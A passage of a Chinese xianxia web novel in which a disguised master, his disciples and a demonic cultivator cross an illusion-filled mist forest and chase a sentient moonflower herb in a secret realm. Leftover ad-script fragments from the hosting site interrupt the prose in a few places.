“你的猪呢。”他并没有放松警惕,这多半是个速度型的对手,这种人的恐怖之处在于,他们往往不只有速度。 “此间寂寞,自是独自玩耍去了。”林玄手中浮尘轻扫,面前挡路的石块就被移去了别处,他也不废话,“顾道友是有这块儿的地图吗?可否一观?” “凭什么。” “你我二人萍水相逢,又无利益纠缠,你寻你的机缘,我找我的瀑布,借我一观并无不可吧?” 林玄看得出这是块难啃的硬骨头,他也没打算在秘境刚开始就跟这么一位人物对上:“我林玄对天道立誓,绝对不与顾鸣道友争抢任何机缘。” 金光乍现,白日轰雷,誓约成立,违者渡劫时必遭反噬,没有任何修仙者会拿这个不当回事。 “林玄身家不多,这里有两颗天雷子,算作酬谢,请顾道友不要嫌弃。” 对方做足了姿态,顾鸣当然也没有再僵持的道理,他道:“废城的西南方直走。” 林玄没动,片刻过后: “西南……” “是在哪个方向?” 秘境很大,很多地方的环境也大差不差,方向感不好的人在里面很容易迷路,林玄之列,比比皆是。 是以,对自己尤其有自知之明的晏江山,在发现自己身处最难办的迷雾森林后,选择挑个阴凉地先坐下,等着路离过来找他。 在路离被委托重任,一落地就循着师父气息往这边赶的同时,晏月那边也没闲着。 虽然师尊方向感不算很强,但一百多年去的那一遭,倒是把关键的几个地点方位记住了。 晏月手中就出现一份跟顾鸣差不多的地图,他正判断着自己的方位,血土骨石肉作路,这里是血肉山谷无疑。 “啊!!!”远处,传来一声惨喊,晏月当即躲在了一颗骷髅树后。 “你到底是什么人!” “我们有何冤仇啊?” “不知道我是药王谷少主吗!放肆!!” 先前在秘境外还很是嚣张的药王谷少主,跟其他几个陌生修士,都被绑在了白骨柱子上,周围尽是静静蜿蜒的浓稠血浆,以他们的地势,不出两刻钟,就要被淹没了。 “药王谷少主?我好怕。” 罪魁祸首正立在柱子顶端,映着日光脸看不太清,身上是朝天宗弟子服制的配色,语气轻蔑:“让我看看药王谷少主是不是比别人多了对翅膀,能飞过这血滩吧。” 话毕,那人飞身离开柱子,往远处走去,边走还边骂:“真要是长翅膀就好了,真晦气,这方圆几里,怎么一根带毛的都没有。” 过了一会儿,确定人真的走远,晏月这才从骷髅树后出来,他看着惊恐尖叫着的张宣,慢慢走近。 虽然刚才那人说的厉害,但其实把他们绑起来的绳子,并不怎么结实,但凡他们中间有个金丹中期的,在血水到来之前挣脱,肯定不在话下。 可惜了,有些不巧。 “晏,晏月!”张宣这会儿也看到了他,惊喜道,“晏月!快给我松开!” “这位道友你们认识就太好了。” “认识刚才居然还不出来救人!” “看他们的衣服,说不定是一伙的。” “愣什么,解开啊!” 晏月回身看了眼血浆,或许是因为被活人的气息吸引,涌动的速度更快了,翻滚间血腥跟腐烂的气味弥漫,他垂下眸子,静静注视着荡漾着的血色。 记忆回寰,好像又置身在那个惊雷阵阵的雨夜,乱葬岗的血水积荡起来,也不比这血肉山谷差。 “晏月……”张宣看着晏月迟迟不动,心中有了不好的念头,他再没了趾高气昂的架势,哆嗦着唇瓣,“你会救我们的对吧?” “我们往日无怨近日无仇,当初我输给你我也认,古籍也老实给了,我回家被爷爷打个半死呢!但是我没赖账啊!” “哪怕是看在古籍的份上,你救救我吧,啊?” “古籍第一百二十六页被撕掉了。”青年忽然出声。 张宣:“我不知道!不是我撕的!这是爷爷给我的东西,我真不知道啊!” “快把我们放开!人家给了东西,你还恩将仇报?纠缠起书多一页少一页?一页破纸能有我们几个的命重要?” 晏月没有理会一直叫嚣的人,只是看着柱子周围几乎淹没人小腿的血浆,他语气淡淡:“师尊教我与人为善,以直报怨,我自不负师尊教诲。” “阿嚏!”晏江山疑惑地看了看周围,迷雾森林以迷象幻阵著称,他动都没动不至于陷进幻境,没道理感觉变冷了。 青年运起功法,等灵气循环过身体,感觉暖和的同时,也意识到了一个问题,金丹初期,并不是这病的极限。 它还能再往下掉。 这秘境难得开一次,进来的金丹数不胜数,他原本金丹初期在这里已经很不够看了,更别说筑基。 趁着只是御寒能力下跌,金丹的灵力还没有消散那么快,晏江山打算先给自己寻觅一个藏身之所,免得被那些抢红了眼的修士牵连。 精挑细选好久,青年选定了一个鸟窝,一只大毛雀的窝。 大毛雀,草食性鸟类,酷爱吃草。 鸟如其名,体型巨大以毛多著称,且这种鸟的两大特性之一,就是从外面捡漂亮羽毛装饰自己的窝。 本来它们自己褪毛也不少,如果是褪毛期的毛雀在天上飞一圈,多半能得到“天上下毛了”的感叹。 兼具毛多好保暖,窝大易藏人两需求点,就导致了毛雀的窝向来是外出露宿修士的不二之选。 此时就有人打算鸠占鹊巢了。 晏江山躺在软和的羽毛里 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 闭眼假寐时,是很安心的。他想,就算那倒霉蛋窝主回来,莫非还能用喙把他拎出来吗? 肯定不可能啊。 所以,当真的被拎出来时,他很懵。 离开血肉山谷,觉得自己已经完成了任务,正溜达着满圈找毛,好不容易抓到一只大毛雀,逼问出巢穴准备捡毛的问野也很懵。 甚至比晏江山更懵。 青年:“我抢你窝啦?” 问野:“……” 真正被抢窝的倒霉蛋大毛雀:“……啾!啾啾!!” 大毛雀急得直跺脚,但跺脚没用,只能眼睁睁看着另一个人,也一起钻了进去,进去之后还要感慨一句:“还好这傻鸟个儿大。” “你是五音峰弟子?”晏江山从假寐里回过神,看着人身上的弟子服制。 “敢问这位……师兄是?”问野想起了自己的身份,他当初夜潜九灵峰化形跟本体更接近,而现在的模样,就是他化出来的少年“贾镜”了。 贾镜来五音峰不久,是不认识,也不知道这个小仙君的。 青年沉吟片刻:“江岁安,九灵峰弟子。” “江师兄好。” “贾师弟好。” 互相打过招呼后,两人陷入了诡异的沉默,虽然当初在池子里,问野很狂,但是现在以“贾镜”的身份,他干点什么都显得不合时宜。 “贾师弟来这儿是?” “被一个魔头追杀至此,原本想找地方躲一躲的。” “魔头?”晏江山眉心一跳,这秘境不会生什么风波吧?虽然可能没什么关系,但青年莫名想到了之前九灵峰那个神秘修士。 “嗯,他说他叫白玉林,逮了药王谷的人不够,还叫嚷着要再对朝天宗的人下手。”问野面不改色。 化身成小挂件的白玉林,一整颗竹子气的想死,报复!赤裸裸的报复!要不是现在情况不对,他真的很想揭穿问老贼的真面目。 “白玉林?”晏江山拧眉细思了一会儿,“没听过。” “师兄来这儿是做什么的?” “找一味药。” 在问野开口之前,白玉林忙传音:“你不会要跟他一起找药吧?你不会觉得绑个药什么少主,就算给秘境制造混乱吧?” “混乱?”问野也传音过去,“秘境的混乱还用制造吗。”血肉山谷这种地方难道还能是鬼斧神工,天纵奇观? “师兄,你想找什么药。” 抓鸟寻药逗仙君,哪个都比做任务有意思。 “稳固境界的。”青年含糊过去。 问野这才仔细打量过晏江山,发现他境界果然跌了,金丹初期到筑基巅峰,对于修仙者来说,这差的可不是一星半点,怪不得需要稳固。 可怜的小仙君,几个师兄不是都胜名远扬吗,居然没一个人帮忙,还不如跟着他呢。 他刚要说什么,不远处却传来微微的呼喊声:“师弟?你在这边吗。” “我师兄来找我了。”晏江山有点惊讶居然是晏月先找到他,不过还是不忘跟旁边五音峰小弟子打个招呼。 两人一同从鸟窝里出来,四周空气蓦然闯入鼻息,问野的眉心一动,拉住了正要过去的小仙君。 不对,血腥气太重了,是刚从血肉山谷过来,还是…… 在问野拉住晏江山的同时,晏月也正好赶到,他扫过少年身上的朝天宗服制,最后浅色的眸子落在了那只手上。 9. 在下问野 “师弟,这位是?”晏月走近,轻声道。 “五音峰的同门,刚刚碰巧遇上的。” 晏月看向这位所谓的同门:“五音峰弟子?路上听说神殿那边有机缘,似是诛音谱残卷问世,这位师弟不去看看吗。” 诛音谱是音修现存威力最大的秘技,单是残曲都能让无数音修趋之若鹜,问野明白,这人有意试探。 “诛音谱虽好,也得有命拿才行,我还是不去凑那热闹了。” “师弟通透。” 晏月笑笑,此番对话算是告一段落,当然,到底信不信就只有他自己知道了。 旁边的晏江山听了两句,知道他是不放心这位贾师弟,他自己同样也不想有暴露的风险。 “贾师弟,迷雾森林幻境重重,我们就不带你冒险了。” 这话说的好听,不过是个人都知道只是不想跟他一起而已,白玉林闻言又支棱起来。 他再度传音:“看吧,还想跟人家一起,人家压根不带你。” 问野直接掐断了传音,表面上仍旧一副识相的做派:“明白,两位师兄小心。” 飞舟起,两人向一个方向驶去,剩下那人就在原地看着他们,旁边还站着一只呆头呆脑的大毛雀,看着问野仿佛是在问,你怎么还不走? 少年跟那双滴溜溜的眼睛对视一眼,随手从它身上拽了根鸟毛,好在正处在掉毛期,它也没什么感觉就是了。 大毛雀瞪大了眼睛,愣愣地看着眼前从他手中消失的毛,跟多出来的人,不得了了,它的毛是个人…… 啾!它身上长人了! * 往往天材地宝最多的地方,也是最危险的。晏江山之前说的话,也有月见潭确实危险的考量。 离月见潭越近,周围的迷雾就越加浓厚,甚至已经到了伸手不见五指的情况,飞舟行了数百米,居然又回到了原地。 青年收了飞舟,左右探查。果不其然,他们被困住了。 四面八方渐渐起了些人声,被困在这里的并不只是他们,还有其他路过,或者同样来寻求秘宝的人。 “这是什么鬼地方,你怎么带的路!” “从迷雾森林去血肉山谷,确实是这个方向啊。” “你们要去血肉山谷?” “可千万别去,我来的时候看到了好多新鲜的肉块,听说有魔头大开杀戒,吓死人了。” “血肉山谷有那些东西不是很正常?修仙者如果害怕,来什么秘境啊,在洞府睡大觉倒是舒服。” “你……你这小儿,我好心提醒还错了不成,你早晚被那嗜杀的魔头逮了去。” 晏江山听到他们的对话,手下意识往后探了探,有把人拉住护在身后的意思,只不过当初靠他庇佑的小可怜,如今比他还要高了,手往后伸,只是探了个空。 晏月安静地注视着眼前的手,主动把手递过去,然后握住。 “这里应该是个迷阵,我记得月见潭好像在迷雾森林最北边。”青年回头问徒弟,“你还分得清哪边是北吗。” “北面……”晏月抬头,如今正值傍晚,夕阳坠下,虽然现在迷雾太厚,看不太清楚,但是凭着感觉也能确定大致方位,又仔细观察周围一些灵药的生长位置,他选定一个方向微微转身,“那就是这边了。” “好。”晏江山拿出一捆丝线,甫一拿出来另一端就飞出老远,“这是五阶冰魄蛛的丝,轻易不会断,落点是几百米外,闭眼,关闭神识,不要相信自己看到的,跟着它走。” 晏月顺从的闭上眼睛,神识也不在继续探查,只全心牵着自己的师尊,慢慢摸索着往前。 他能感受到旁边的浓雾又厚了一倍不止,连行走间都有些滞涩,好像有什么东西存心阻拦他们似的。 又过了几秒钟,师尊的手好像跟雾气融成了一体,自己牵着轻飘飘的雾一样,晏月忍不住拉紧一些,没有睁眼,继续向前。 接着,他开始幻听,或者说,被迷雾幻化出曾经。 “七号,服用三枯草十八次,灵脉正常,神识无恙。” “给他加大剂量,古籍不可能出错。” “七号灵脉开始完全闭塞,体温流失,疑似年纪过小——” “行了,净记些没用的。丢乱葬岗去,七号报废,八号上。” 晏月步子慢了下来,身体的感知变得混沌,他自己也跟浓雾融成一体似的,变冷,变薄,变得逐渐僵硬冰凉。 “七号……” “七号……” “七号……” 人声模糊起来,他听见风在流动,叶子簌簌作响,听见雨滴砸在湿透的衣服上的闷声,听见血水倒灌灌进耳朵哗哗一片。 他好像要被淹没了。 然后,一切戛然而止—— “晏月,晏月!”清脆的男声刺破混沌,恍惚间好像有只大手,拖住了他下坠的身体,“醒醒,我们出来了。” 晏月睁眼,眼前的一切,包括他的师尊在内,都那么的春光无限,明朗盎然。 “手怎么这么凉,雾里冻到了?”晏江山没注意自己徒弟的眼神,只是扫视周围,然后感慨,“往前就是月见潭,这边风景可真是不错,可惜不能让人常观。” 晏月跟随青年的目光匆匆扫过,就又把视线落在对面人的身上:“月见潭午夜才能显现,月见草也一样,如今日光还未落,师尊可以安心赏景。” “据说,秘境里的月亮是蓝色的。”他淡淡一笑:“师尊喜欢月亮,给我取名也是这个。” 晏江山闻言睨了自己徒弟一眼,挑眉笑道:“怎么,用了这么多年的名字,这会儿嫌取得敷衍了?” “徒弟不敢。”晏月片刻后又补上一句,“我很喜欢。” 青年看着自家平日里恬静的徒弟,这会儿窘迫的模样,一时间失笑,想揉揉他的头发,又觉得不合时宜。 晏江山悻悻放下手,当初养的时候,就营养不良一小孩,也就到他胸口,现在都这么大了。 怪只怪修真界光阴似箭啊,一转眼,又是许多年。 晏月当然知道师尊想做什么,他看着那只垂落的手,微微敛眸,随即放出神识给两人寻了个短暂的安身之所。 他一边收拾,一边问:“师尊,你刚刚有看见幻象吗。” 晏江山沉吟一会儿,最后:“没有。你看见了?” “我也没有。” 欲盖弥彰的回答刚落下,旁边迷雾旁又传来动静,从迷雾处看月见潭,可谓是不可捉摸,但出了迷雾,从月见潭再看那块地方,就清晰的多了。 走出浓雾的,是一个少年,身量跟之前的贾师弟差不多高,在雾里怕是吃了不少苦的模样,一路跌跌撞撞跑了过来,见了人就叫仙君:“两位仙君救我!” 说着,他像是支撑不住,直接倒在了晏江山身上。青年下意识接住,然后愣神, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他想起来一个不属于这个世界的词。 ——碰瓷。 但是事已至此,旁边徒弟就是药修,就这么视而不见也不是他的作风,是以,晏江山看向了自己素来温善的好徒弟。 好徒弟不看他,好徒弟继续收拾东西。 “晏月。”晏江山叫了一声。 晏月这才停下动作,从储物戒里拿出药瓶:“这位道友应该是在迷雾中看到了幻境,迟迟不能脱离,这才难受,甘草汁最能清醒神智。” 青年拿着瓶子给怀里的人服下,好消息,人是清醒了,坏消息,脸色没比刚才好看到哪儿去。 “就是有个缺点。”晏月接着补上,“味道不好。” 虽然确实是分魂化出来的,但是问野的神识依旧连在上面,这“味道不好”,着实是太轻描淡写了点。 体会到小仙君这位师兄淡淡的恶意,问野罕见的没觉得有什么,甚至还有些恶劣的兴奋,不是挺能装吗? “这位仙君是为了救我,想来是不会顾忌什么味道的,毕竟良药苦口。”东西是晏月给的,但问野的礼是跟晏江山行的。 青年忙抬手让人起身,而后欲言又止。 他这些年因为系统留下的这个病,也喝了晏月不少药,愣是没一个苦的,一时不知道是晏月为他费心了,还是这位道友倒霉了。 “仙君如何称呼?” “姓江,名岁安,这位是我的师兄晏月。” “在下问野,谢过两位仙君。” 姓问?这个姓并不常见,晏江山却感觉在哪儿见过听过,等神识暗地里扫过储物戒里的卷轴,这才想起。 问野,不就是天才榜第一吗! “可是截杀魔门六大域主之一,又功成身退的那位?”晏江山又确认了一遍,眼神有些惊讶。 “谣传罢了,只是杀了一个小喽啰。” 又化成白玉竹簪的白玉林,闻言幽幽传音念叨:“罗刹女最好面子,要是知道你说她是小喽啰,做鬼也要被气活了。” “偷袭不成,自取灭亡而已,我这截杀魔门域主的好名声,不是你故意传播的?” 白玉林不吱声了,再说他怕自己下去跟罗刹女作伴。 虽然自知理亏,但是话又说回来,魔修是逆天而行,又不似修仙者那般道貌岸然,门内你坑我,我害你不都是常态? 偏就问野特殊。 晏江山是看过完整的天才榜的,虽然很多人并不是非常了解,但就他的几个徒弟,跟之前见过骑着小飞猪的道友排名来看,这榜单还是有很大的含金量的,反正绝不会如这位问野道友说的那样。 “道友谦虚了。”晏江山见着人,整个眼睛都亮了起来,没别的,收徒收惯了,见着好苗子就心动罢了。 只可惜自己现在不好暴露身份,不然多少是要问上一句的。 青年转神想起自己大徒弟,骄傲的小心思又涌上来了。他大徒弟不过就是错了这位一个名次而已,也是人中龙凤,待他得了那个剑修传承,说不定两人位置还要换上一换。 许是心有灵犀,在晏江山想起顾鸣的时候,相隔千里的顾鸣,也想起了自己师尊。 来寻剑修传承的人实在是比他想象中的还要多,其中不乏修为尚可的修士。 彼时,看着乌泱泱的人群,顾鸣想起临走前师尊给的介绍英才们的卷轴。 他神识一动,从储物戒里拿出来,然后打开。 10. 秘宝 随着卷轴展开,出现在他眼前的不是各个英才的介绍,而是……男人一眼就看到了某个熟悉的身影,长身玉立,飘然若仙。 “不是吧道友~”右后方传来一道戏谑的声音,“来秘境还带着美人榜呢?看上哪个美人儿了,这么念念不忘。” 顾鸣猛的回神,赶忙把卷轴收起来,但是脑海中的幻象还是一直没有消散,甚至随着身边的声音,不断加深,原本冷峻的面容染上羞赧。 他,他好像在里面看到了……师尊?可是这不是介绍少年英才们的榜吗,莫不是真如这人所说,是那什么美人榜? 顾鸣呼吸一滞,一边不齿这样的想法对他师尊实在不敬,可偷偷加速的心跳又告诉他,你就是这样想的。 “传承之地的门开了!” “休得挡我的路!” “快!” 人群躁动起来,原本还互相提防着的修士们一时间也顾不得许多,再没了小心跟谨慎,方才调侃顾鸣的修士也飞步上前。 男人稍作平复,转身挥剑。灵力磅礴而出激涌成涛,卷的树干都为之震颤,顾鸣几乎化成一道风,飞了过去。 无论是为了剑门荣耀,还是师尊教诲,这地方,他势必要闯一闯。 * 黑云敝月,原本淡蓝的月亮被这么一笼,愣是多了些诡谲气息,微弱的光下,一池子荧蓝的水,荡漾着涟漪。 月见潭,月亮能看见的潭。原本的空地上,就神奇的凭空多出来这么一口潭来。 “现在什么时辰了。”晏江山打了个哈欠,这景象难得,他是想再观赏一会儿的,就是起来去周边走走看看,也是这秘境夜晚独一份的美丽。 但或许是他那病的缘故,最近每天都睡得很早,而且还总是梦见…… 晏江山被自己的想象吓清醒了点,他不会在秘境里做那种梦吧! 这,这还有外人在呢。 “还有一刻钟才子时。”问野又道,“江道友是困了吗,不如先睡一会儿。” “还是算了。”晏江山强行打起精神。 “睡吧,一会儿月见草出现再叫你也不迟。” “没事,反正就剩半个多时辰。”青年给自己施了个提神的法决,等发现连灵力也不管用的时候,他就知道,现在这般困倦确实是系统这病症的手笔了。 真正靠在墙边睡着之前,晏江山在心底狠狠骂了那个无良系统一通,莫名其妙!太莫名其妙了! 他睡着的时候,探查完情况的晏月刚从洞口进来,见晏江山睡着并没有什么意外的神色,只是拿了件外套盖在人身上,又动作小心地往上拉了拉。 “晏道友对你师弟还真好。”问野双手抱臂,斜斜倚在一旁的墙壁上,看起来颇为随性。 “又是帮着过迷雾,又是去寻月见草的。” “我跟我师弟的事情,跟问野道友关系不大吧。”晏江山醒着的时候,晏月就对这位不假辞色,他睡着了当然更甚,便是连表面功夫都没有。 “偏生你这师弟,看样子对我也是颇感兴趣啊。”问野就是存心膈应对方。 晏月看了他一眼,眸光微冷,他师尊动了什么心思他当然是知道的,这人行事如此张狂,想来也不可能拜入师尊门下,更何况……这些年师尊感兴趣的人还少吗。 莫非就他问野是个人物? “小师弟广结善缘,看到猫猫狗狗都很感兴趣,人又好说话,至交好友不少,如果给问野道友带来了困扰,还请不必放在心上。” 晏月的话总结下来就是四个字,玩玩而已。 如果是寻常修士,怕真的会被这番话伤到,然而问野混惯了魔修场子,什么难听的话没听过。 少年不知道从哪里寻根草叼进嘴里,无所谓地想,真这么好说话,那当初池子里怎么不答应他,跟他走得了,他还过来给这个小寒碜找鸟毛了呢。 问野用神识扫了眼储物戒里成堆成堆的毛,又看向兀自睡着的人,还真是小没良心的,早晚用鸟毛砸死他。 容纳了三个人的小小山洞,再度安静了下来,直到变故发生——
'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 地面忽然微微的震动起来,连在山洞里也能听得外面潭水激荡,波澜四起的声音,接着,光芒大盛,映得几人身上都是荧蓝的一片,周围也多了绚烂梦幻的色彩。 天地异动,秘宝出世。 晏月看了时间,刚到子时,这月见草就已经要出来了?!他直觉不对,可是外面的异象显然是秘宝的动静,甚至在山洞里他都还能听到别处人声的惊喜叫嚷。 月见草这东西,见天地灵韵而生,必成双出现,每次几双就全看造化了,但稀罕东西从来不会太多。 青年给晏江山施层防护阵法,师尊现在的修为也不宜跟人争抢,左右现在就在月见潭附近,他去取来拿给师尊服用便是。 只是……晏月看向了没有一点起身意思的问野,这人说是来寻月见草,如今倒是歇了心思? “我问野,对天道立誓,此间绝无恶心。”他知道这个晏月不放心自己,立个誓也无所谓。 天上雷声炸开,动静比寻常大上许多,但确实是没有劈下来,金光回闪,誓约成立了。 晏月不再管他,转身就走,与此同时在头顶充当簪子的白玉林感慨着,哎,有些人就是不一样,除了他,谁家魔修还能立天道誓,不得被老天爷劈死这离经叛道之徒啊。 他刚要跟问野传音,却蓦然发现自己被问野掐断了个彻底,好像被装进黑袋子里一样,什么也听不见,什么也看不见了。 在白玉林郁闷疑惑的时候,问野也很疑惑,他刚刚……是听见了什么声音? 他的视线转向唯一一个可能的声源,青年半侧着靠在墙边,忽然扯了扯领口的衣服,但双目还是紧闭的状态,并没有要苏醒的迹象。 很热吗?问野也不去想刚才听见的声音了,全心思索着这个问题。 月见潭可不是什么炎热的地方,要不是他有修为灵力护体,怕是都要觉得冷了,这人现在筑基巅峰的境界,怎么可能会热呢? 刚想个明白,忽然又听见一声嘤咛,这回可是实打实清楚,确实是这人发出来的。 11. 看到师尊窝在陌生人怀里 修仙之人自是清心寡欲,风月一道素来接触甚少,这是修真界所有修士的共识了,当然诸如魔修合欢道此类,欢男媚女,同样是共识。 这位小仙君俨然不是合欢道,前来秘境寻宝,怎么会有这样的,这样的风流韵事? 问野皱眉,遥遥看着小仙君,修仙之人重视元阳,这可不是寻常事情,往日这样的情境多半是着了什么道,或是迷幻阵法,或是奇方秘药…… 少年面色一凛,他那个装模作样的师兄,不就是现成的医毒圣手吗。 虽然不懂什么治病救人,但是这些年来在魔修处摸爬滚打,许多腌臜事情也见过,恶心丹方也听过,问野对这个还是了解一点的。 彼时,问野就破开了方才晏月下的禁制,伸手探了探青年脉搏。 灵脉轻浮虚弱,他用灵气做引,往里探寻时,竟还被这人毫无防备的,主动勾缠了上来,就是合欢道魔修,也不敢这么迎着其他人的灵气入体。 少年一时不知道是该气还是该笑,他刚要放手,旁边那人似乎是贪他身上那份凉意,手一搭,八爪鱼似的主动抱住了他。 “早让你跟我走你不走,被下得什么破药。”问野骂了一句,但他也知道,这东西沉疴已久,怕也不是前些日子下的,至于到底是什么时候,就得问问那位圣手师兄了。 说曹操曹操到,问野在心里把这个师兄凌迟了八百遍的时候,晏月也是这么想的。 在阵法禁制被触动的时候,他就已经察觉到了,也顾不得什么月见草,就开始往回赶。 赶到时,正好看着自己师尊窝在一个陌生人的怀里,举止亲昵。 顷刻间,灵气震动,惊的本就不算结实的山洞也跟着震颤,碎石跌落,问野抱着还在睡梦中的青年避了避,随后遮起灵力护住两人。 这动静,就是不醒也难。晏江山幽幽睁眼,然后猛的从问野,怀里退开,懊恼地捂着脸,他怎么怎么怎么又睡着了,该死的系统。 “晏月。”眼见这是徒弟误会了什么,他忙解释,“我没事,就是睡着了。” 他没有说得太明白,有些话,点到为止。晏月肯定也明白真要闹起来,难堪的是他,而几个徒弟里最不会让他为难的,就是晏月了。 “师弟,我们该去寻月见草了。”晏月确实没发作,只是语气有些冷,这份冷还很明显的是针对另一个人。 “你刚刚去那么久,居然没找到吗。”问野明晃晃的嘲讽,如果刚才还是暗地里呛声,这会儿他是装也不想装了。 修仙者,果然是一群道貌岸然的家伙。 晏月没理他,看也没看问野,但还是给晏江山解释了现在的状况:“这次的诞生的月见草,怕是年份不小,已经生了灵智,有化形的迹象,一出世就长腿跑了。” 晏江山原本还尴尬的心思瞬间没影儿,他扯了扯嘴角,虽然这个世界已经待了好些年,但还是实在无法想象长腿跑了的两根草是个什么模样。 “周围那些动静,是其他修士在抓月见草?”青年侧耳听了听,那可谓是声势浩大,看样子真有掘地三尺的架势。 晏月点了点头,他其实是有些担心的,月见草这番动静属实不小,原本困在迷雾森林里的人,也有顺着声音找出来的。 人多还不算什么,如果被化了形的月见草跑进迷雾森林里,再想把它找出来,可就不容易了。 “走吧,出去看看。”晏江山说着起身,旁边的问野也跟着一起起身,迎了晏月一记眼刀也只当没看见。 他道:“我跟你们一起吧,多个人好歹更容易找一些,就当是答谢两位救我了。” 问野都这么说了,晏江山自然也没有不同意的道理,以他自己现在的修为,想跟晏月合力从一众修士里脱颖而出,也是很费功夫的。 要是另外两个徒弟在就好了,尤其是路离,好歹还能号令妖兽一起帮忙,这小子,平日最是积极不过,现在还没到,看来是被传送的有点远。 彼时的路离,四条腿赶了半天的路,这会儿也才将将到迷雾森林,这边的迷雾对他来说是小问题,妖类的眼睛可是最灵敏好的,是以,他刚一进迷雾就看到了一个不想看到的人。 “张宣!你要干什么!”路离冲着不远处那人呲了呲牙,大有他一个回答不好,直接干掉他的架势。 但跟路离想象的不同,张宣闻言只是扭过头来,一张脸惨白的可怕,额前还有几点血迹,他又把头扭回去,木讷地朝一个方向慢步离去。 虽然觉得有些奇怪,但是这人既然没有用计伤害他师尊的意思,路离也就无所谓了。 随即,巨大的狐狸奔行在夜色里,毛发起伏着,几乎与雾融为一体。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>“师弟,找个僻静地方,我用月露引它出来试试。”说着,晏月向一边走去。 这边的人不少,人少的地方也是难找,最后一行人穿过喧闹的人群,在一个山坡的背阴处停下。 来找月见草的人这会儿还在围着月见潭争吵斗法,安静的地方染上尘嚣,最后也就这里还能留点宁和,这是月见草最喜欢的氛围了。 晏月拿起瓶子往地上滴,银白色的水滴刚落下就把周围的一小片带成了银白色,看起来颇为神奇。 月露是大多数灵药都很喜欢的生长药剂,平日也是有市无价的东西,但不巧的是,这玩意儿最开始就是晏月练出来的,还是晏江山给取的名字,虽然他也没什么取名的天赋就是了。 三人静静等着,没一会儿,几人都听见了什么动静。 “啊呀?”清脆,稚嫩,像是什么年岁不大的婴童牙牙学语。 “啊呀啊呀~” “啊呀!”接着,不知道从哪个方向窜出来什么东西,在几人面前掠过,同时地上的银白也没了踪影。 快!太快了!连问野都没能看清这东西是怎么过来的。 少年低声道:“再往前,它们就进迷雾森林了。” 晏江山上前,绿色的大网罩住了它们所有的出路,但这般架势也引起了其他人的注意。 “他手上有月露!他们知道月见草在哪里!!”人群里不知道谁喊了一声,原本各自为战的修士们有了共同的对手。 “嗤。”问野看着眼前目露凶光的修仙者们,嘴角扯出一个讥讽的弧度,“真有够麻烦的。” “去找东西,我来拦住他们。”晏月那边正围着许多修士,自顾不暇,现在能搭把手的也只有问野了。 少年手执骨鞭跃往半空,在月光的衬托下,骨刃泛着冰冷的银光,鞭稍甩出残影,好像流星划破长空又带着万钧之力锤下,瞬间,血迹喷洒。 “啊!” “什么人……” “大魔头罗刹的骨鞭!” “这人是问野,杀了罗刹女的那个问野!” 晏江山闻声回头,只见问野破空而立,灵力喷涌,身后是诡谲而巨大的一轮蓝月,整个人几乎只能看到莫测的剪影。 他刚想回去帮忙,就听那少年漫不经心道:“想必诸位,应该不会比罗刹女更难杀?” 12. 月见精灵 人群哗然,大部分人只知道问野杀了罗刹女,但是对于问野本人心性并无了解,但是现在不一样了。 这人就是明晃晃的对他们起了杀心,最重要的是,他真有这个能力! 霎时,明白过这一点的修士们开始动摇,秘境杀人夺宝不可为不多,保不齐,他们可是真要死在这里的。 一些识时务的开始退却,而最开始在人群里叫嚷的声音则是不服气的叫嚷起来: “月露在他们手里,月见草也在他们手里,迷雾森林这吃人的地方,凭什么好东西全让他们拿了!” 大多数修士又开始迟疑,其中又传来几声:“是啊!我们还不一定能活着再从迷雾森林出去呢!” “秘境百年一开,诸位真要空手而归?” “在场的修为再高,不过金丹,他们三个里甚至还有个筑基的,我们怕什么?!!” 晏江山皱眉,他向最开始的那个人看过去,怕是不知道在那个死去修士上扒的衣服,并不合身,混迹其中甚为可疑。 问野也看出了这一点,他下一道鞭子直接朝那人甩了过去,顷刻那人化成血末消散在空气中,在场有见识广博的直接叫了起来: “卧底!这人是魔修卧底!我见过,他们死就是这样死的!” “这是怎么回事。”问野撤了对白玉林的禁制,传音道。 虽然刚才并不知道发生了什么,但是光听这个语气,再扫一眼吵闹的人群,白玉林就知道事情不好,他小心道:“那什么……上面说,这秘境一事交给你不太放心。” “所以又派了不少人,卧底秘境,制造乱子?”问野冷笑。 “别生气啊,这事儿从秘境没开始就定下来了。”白玉林隐瞒了一些事情。 比如,让加派人手的信件,就是他亲自传过去的。再比如,他跟问野一道也只是因为上面让他盯着问野,以防这人生事。 “秘境里到底有什么?他们就这么重视?” “这个嘛,有位魔修老前辈他……”白玉林话还没说完,整只竹簪就被直直地甩了出去,裹挟着灵力的簪子洞穿了远处那人的胸口,也打断了他拿着刀准备砍杀晏江山的动作。 就像卧底浮现之前,有人喊的那样,他们三个里面还有筑基的,到底是有人耐不住寂寞,挑了个软柿子准备下手了。 晏江山松了一口气,手中没出去的防护法器又放回了储物戒里,遍地金丹的地方,真要是全力一击,他筑基还真不够看的。 他看着穿透人身,插进树里的簪子,动手拔了出来,好歹是为救他弄脏的簪子,等买只新的再还他吧。 “救命!问野!救命啊!!!天杀的你在干什么,你把老子当暗器——”白玉林在传音里叫嚷着,然而没用,他还是被收进了储物戒,传音也因为储物戒的阻断而终止。 有了这个小插曲,晏江山看着蹿进迷雾森林的月见草叹了口气,果然还是没这个缘分拿到吗。 “啊呀!啊呀!!”正当晏江山失望时,逃之夭夭的月见草见了鬼似的,疯了一样又往回跑,它们的身后,追着一只巨大的鸟,并且有点眼熟。 大毛雀,除了捡毛之外的另一大特性,酷爱吃草,越老越好。成了精的月见草……自是很老很老的了。 月见草很快,但没快过鸟。在所有人的视线里,两株银色的身影被鸟喙夹走,往上一抛,轻轻巧巧吞进腹中。 原本就被震慑到的人群在骂声里散去,只剩下几个虎视眈眈盯着大毛雀,青年同样看着大毛雀,这个家伙怎么会出现在这里! 没人注意到,半空里问野的身影顿了顿,他扫一眼储物戒里的鸟毛,它应该……不是追着他过来的吧? 见威胁消除,问野飞身落地,旁边一直被围攻的晏月,也得以喘息走了过来,三人看着大毛雀默默无言。 